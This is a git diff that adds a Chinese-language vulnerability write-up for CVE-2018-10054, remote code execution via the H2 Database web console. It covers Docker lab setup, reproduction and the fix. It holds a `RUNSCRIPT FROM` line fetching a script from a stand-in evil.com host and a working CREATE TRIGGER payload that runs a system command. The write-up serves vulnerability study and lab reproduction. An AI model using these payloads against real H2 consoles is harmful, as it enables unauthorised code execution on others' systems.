diff --git a/数据库漏洞/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054.md b/数据库漏洞/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054.md new file mode 100644 index 0000000..ab75733 --- /dev/null +++ b/数据库漏洞/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054.md @@ -0,0 +1,71 @@ +# H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054 + +## 漏洞描述 + +H2 Database 是一个快速、开源的基于 Java 的关系型数据库管理系统(RDBMS),可用于嵌入式(集成在 Java 应用中)或客户端-服务器模式中。 + +当 Spring Boot 集成 H2 Database 时,如果设置如下选项,将会启用一个 Web 管理页面: + +``` +spring.h2.console.enabled=true +spring.h2.console.settings.web-allow-others=true +``` + +在 1.4.198 之前的 H2 Database 版本中,任何用户都可以通过创建新的数据库文件或连接到内存数据库来访问 Web 管理页面。认证通过后,攻击者可以通过以下命令之一执行任意代码: + +- `RUNSCRIPT FROM 'http://evil.com/script.sql'` +- `CREATE ALIAS func AS code...; CALL func ...` +- `CREATE TRIGGER ... AS code...` + +参考链接: + +- https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html +- https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html +- https://www.exploit-db.com/exploits/45506 +- [h2database/h2database#1225](https://github.com/h2database/h2database/issues/1225) +- [h2database/h2database#1580](https://github.com/h2database/h2database/pull/1580) +- [h2database/h2database#1726](https://github.com/h2database/h2database/pull/1726) + +## 漏洞影响 + +``` +H2 Console < 1.4.198 +``` + +## 环境搭建 + +Vulhub 执行如下命令启动一个集成了 H2 Database 1.4.197 版本的 Spring Boot: + +``` +docker compose up -d +``` + +容器启动后,Spring Boot 服务监听在 `http://your-ip:8080`,H2 管理页面默认地址为 `http://your-ip:8080/h2-console/`。 + +## 漏洞复现 + +首先,通过连接内存数据库登录 H2 Web 控制台: + +``` +jdbc:h2:mem:test +``` + +![](images/H2%20Database%20Web%20Console%20认证远程代码执行漏洞%20CVE-2018-10054/image-20250421165646309.png) + +然后,执行如下命令以执行 `id` 命令: + +```sql +CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript + var is = java.lang.Runtime.getRuntime().exec("id").getInputStream() + var scanner = new java.util.Scanner(is).useDelimiter("\\A") + throw new java.lang.Exception(scanner.next()) +$$; +``` + +可见,`id` 命令被成功执行,结果以异常的形式被抛出: + +![](images/H2%20Database%20Web%20Console%20认证远程代码执行漏洞%20CVE-2018-10054/image-20250421165632880.png) + +## 漏洞修复 + +升级至最新版本: https://github.com/h2database/h2database/releases/ diff --git a/数据库漏洞/images/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054/image-20250421165632880.png b/数据库漏洞/images/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054/image-20250421165632880.png new file mode 100644 index 0000000..968c28e Binary files /dev/null and b/数据库漏洞/images/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054/image-20250421165632880.png differ diff --git a/数据库漏洞/images/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054/image-20250421165646309.png b/数据库漏洞/images/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054/image-20250421165646309.png new file mode 100644 index 0000000..a7dca2f Binary files /dev/null and b/数据库漏洞/images/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054/image-20250421165646309.png differ